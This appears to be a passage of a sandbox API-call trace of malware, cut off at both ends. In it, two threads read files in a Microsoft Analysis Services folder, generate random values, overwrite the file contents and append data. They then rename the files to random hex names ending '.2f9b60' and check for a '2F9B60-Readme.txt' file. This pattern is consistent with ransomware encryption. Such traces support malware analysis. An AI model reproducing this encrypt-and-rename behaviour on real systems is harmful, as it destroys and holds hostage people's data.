(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861b70) returned 1 Thread: id = 1186 os_tid = 0xcdc [0113.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0113.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", dwFileAttributes=0x20) returned 1 [0113.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xecc [0113.813] GetFileSizeEx (in: hFile=0xecc, lpFileSize=0x3762fa40 | out: lpFileSize=0x3762fa40*=30948) returned 1 [0113.813] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x78e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.813] ReadFile (in: hFile=0xecc, lpBuffer=0x3762f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3762fa08, lpOverlapped=0x0 | out: lpBuffer=0x3762f9c0*, lpNumberOfBytesRead=0x3762fa08*=0x4, lpOverlapped=0x0) returned 1 [0113.815] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9070 [0113.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b30 [0113.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.816] NtQuerySystemTime (in: CurrentTime=0x3762f900 | out: CurrentTime=0x3762f900*=132462177192694000) returned 0x0 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x156c79cd [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x225d8771 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x322a06fb [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x7893cc30 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x18afcc38 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x4c7b8f50 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0xf50cec7 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x368eb4b4 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x5d438323 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x4d118620 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x72d09e7f [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x48c82154 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x10d1263d [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x1f4fec19 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x24ac0911 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x297ae398 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x740fc95f [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x54411428 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x55e0fc1a [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x4cc60748 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x84bee85 [0113.816] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x7b04ded2 [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x6d03c488 [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x2e9931a [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x2caae6a6 [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x5bbc2108 [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0xa2dc53f [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x31d787ab [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x3e483434 [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x63619bbb [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x6dbe5d45 [0113.817] RtlRandomEx (in: Seed=0x3762f8f0 | out: Seed=0x3762f8f0) returned 0x6f9a4f6f [0113.827] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.827] ReadFile (in: hFile=0xecc, lpBuffer=0x41d71d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3762f960, lpOverlapped=0x0 | out: lpBuffer=0x41d71d40*, lpNumberOfBytesRead=0x3762f960*=0x3c00, lpOverlapped=0x0) returned 1 [0113.832] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9070 [0113.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9070) returned 1 [0113.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d75950 [0113.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9070 [0113.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9040) returned 1 [0113.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.834] WriteFile (in: hFile=0xecc, lpBuffer=0x41d75950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3762f960, lpOverlapped=0x0 | out: lpBuffer=0x41d75950*, lpNumberOfBytesWritten=0x3762f960*=0x3c00, lpOverlapped=0x0) returned 1 [0166.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d75950) returned 1 [0166.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d71d40) returned 1 [0166.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2210 [0166.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0166.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0166.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20f0 [0166.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a20f0) returned 1 [0166.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a20f0 [0166.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2120 [0166.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2180 [0166.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2180) returned 1 [0166.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0166.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0166.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12b30 [0166.083] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.083] WriteFile (in: hFile=0xecc, lpBuffer=0x1ce12b30*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3762fa10, lpOverlapped=0x0 | out: lpBuffer=0x1ce12b30*, lpNumberOfBytesWritten=0x3762fa10*=0x10a, lpOverlapped=0x0) returned 1 [0208.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0208.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0208.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0208.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261eb0) returned 1 [0208.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0208.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0208.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0208.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f60) returned 1 [0208.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0208.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0208.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5cdf0 [0208.094] sprintf (in: _Dest=0x1ce5cdf0, _Format="%c%c" | out: _Dest="87") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5cdf2, _Format="%c%c" | out: _Dest="be") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5cdf4, _Format="%c%c" | out: _Dest="b2") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5cdf6, _Format="%c%c" | out: _Dest="6a") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5cdf8, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5cdfa, _Format="%c%c" | out: _Dest="31") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5cdfc, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5cdfe, _Format="%c%c" | out: _Dest="c7") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce00, _Format="%c%c" | out: _Dest="06") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce02, _Format="%c%c" | out: _Dest="5b") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce04, _Format="%c%c" | out: _Dest="09") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce06, _Format="%c%c" | out: _Dest="96") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce08, _Format="%c%c" | out: _Dest="74") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce0a, _Format="%c%c" | out: _Dest="a7") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce0c, _Format="%c%c" | out: _Dest="d7") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce0e, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce10, _Format="%c%c" | out: _Dest="7b") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce12, _Format="%c%c" | out: _Dest="ea") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce14, _Format="%c%c" | out: _Dest="22") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce16, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce18, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce1a, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce1c, _Format="%c%c" | out: _Dest="cf") returned 2 [0208.094] sprintf (in: _Dest=0x1ce5ce1e, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.095] RtlInitAnsiString (in: DestinationString=0x3762fa88, SourceString="87beb26ad631ebc7065b099674a7d7c17bea227fae2acfb5" | out: DestinationString="87beb26ad631ebc7065b099674a7d7c17bea227fae2acfb5") [0208.095] RtlAnsiStringToUnicodeString (in: DestinationString=0x3762fa58, SourceString="87beb26ad631ebc7065b099674a7d7c17bea227fae2acfb5", AllocateDestinationString=1 | out: DestinationString="87beb26ad631ebc7065b099674a7d7c17bea227fae2acfb5") returned 0x0 [0208.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9600 [0208.095] wcscat (in: _Dest=0x202795b0, _Source="87beb26ad631" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\87beb26ad631") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\87beb26ad631" [0208.095] wcscat (in: _Dest=0x202795b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\87beb26ad631.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\87beb26ad631.2f9b60" [0208.095] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\87beb26ad631.2f9b60", NtPathName=0x3762fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\87beb26ad631.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1ced02e0 [0216.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced02e0) returned 1 [0216.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a5ba0) returned 1 [0216.712] NtQueryInformationFile (in: FileHandle=0xecc, IoStatusBlock=0x3762fa98, FileInformation=0x3762faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3762fa98, FileInformation=0x3762faa8) returned 0x0 [0216.712] NtSetInformationFile (FileHandle=0xecc, IoStatusBlock=0x3762fa98, FileInformation=0x3762faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0221.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0221.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e9600) returned 1 [0221.975] FlushFileBuffers (hFile=0xecc) returned 1 [0222.588] CloseHandle (hObject=0xecc) returned 1 [0223.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x431ed7a0 [0223.092] wcscpy (in: _Dest=0x431ed7a0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0223.092] wcscat (in: _Dest=0x431ed7a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0223.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0x20 [0223.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ed7a0) returned 1 [0223.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861c20) returned 1 Thread: id = 1187 os_tid = 0xce0 [0113.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0113.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", dwFileAttributes=0x20) returned 1 [0113.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe70 [0113.854] GetFileSizeEx (in: hFile=0xe70, lpFileSize=0x2211f9e0 | out: lpFileSize=0x2211f9e0*=28974) returned 1 [0113.854] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x712a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.854] ReadFile (in: hFile=0xe70, lpBuffer=0x2211f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2211f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2211f960*, lpNumberOfBytesRead=0x2211f9a8*=0x4, lpOverlapped=0x0) returned 1 [0113.860] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ad0 [0113.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0113.860] NtQuerySystemTime (in: CurrentTime=0x2211f8a0 | out: CurrentTime=0x2211f8a0*=132462177193162000) returned 0x0 [0113.860] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x6be75c8c [0113.860] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x4f429cbb [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x216f04f5 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x152fa05a [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x3daeabd5 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x309a292d [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x6025f6f9 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x3f4c8d92 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x64ee1065 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x42be15f3 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x1dba59ab [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x159c2c7f [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x3ecca82e [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x7f8810c4 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x2709eb42 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x9853ead [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x11df425e [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x47891da3 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0xf79fb34 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x1a137ca9 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x4ce6c755 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x45fc9ab9 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x688dc3e6 [0113.861] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x4c6165fd [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x3e7e7b1a [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x1e900321 [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x3230c90 [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x7cf7b018 [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x5bfbc811 [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x6245b7fe [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x5a48b717 [0113.862] RtlRandomEx (in: Seed=0x2211f890 | out: Seed=0x2211f890) returned 0x5f64e664 [0113.876] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.876] ReadFile (in: hFile=0xe70, lpBuffer=0x41d79560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2211f900, lpOverlapped=0x0 | out: lpBuffer=0x41d79560*, lpNumberOfBytesRead=0x2211f900*=0x3c00, lpOverlapped=0x0) returned 1 [0113.877] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9040) returned 1 [0113.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d7d170 [0113.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0113.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637d0) returned 1 [0113.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.879] WriteFile (in: hFile=0xe70, lpBuffer=0x41d7d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2211f900, lpOverlapped=0x0 | out: lpBuffer=0x41d7d170*, lpNumberOfBytesWritten=0x2211f900*=0x3c00, lpOverlapped=0x0) returned 1 [0166.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d7d170) returned 1 [0166.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d79560) returned 1 [0166.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2270 [0166.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0166.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866f40 [0166.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22a0 [0166.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22a0) returned 1 [0166.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22a0 [0166.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2300 [0166.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22d0 [0166.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22d0) returned 1 [0166.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866f40) returned 1 [0166.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0166.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42c176e0 [0166.073] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.074] WriteFile (in: hFile=0xe70, lpBuffer=0x42c176e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2211f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42c176e0*, lpNumberOfBytesWritten=0x2211f9b0*=0x104, lpOverlapped=0x0) returned 1 [0208.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0208.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0208.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0208.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c20) returned 1 [0208.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d520 [0208.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0208.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b90 [0208.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8b90) returned 1 [0208.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0208.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0208.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a8b90 [0208.101] sprintf (in: _Dest=0x202a8b90, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.101] sprintf (in: _Dest=0x202a8b92, _Format="%c%c" | out: _Dest="12") returned 2 [0208.102] sprintf (in: _Dest=0x202a8b94, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.102] sprintf (in: _Dest=0x202a8b96, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.102] sprintf (in: _Dest=0x202a8b98, _Format="%c%c" | out: _Dest="2f") returned 2 [0208.102] sprintf (in: _Dest=0x202a8b9a, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.102] sprintf (in: _Dest=0x202a8b9c, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.102] sprintf (in: _Dest=0x202a8b9e, _Format="%c%c" | out: _Dest="da") returned 2 [0208.102] sprintf (in: _Dest=0x202a8ba0, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.102] sprintf (in: _Dest=0x202a8ba2, _Format="%c%c" | out: _Dest="78") returned 2 [0208.102] sprintf (in: _Dest=0x202a8ba4, _Format="%c%c" | out: _Dest="29") 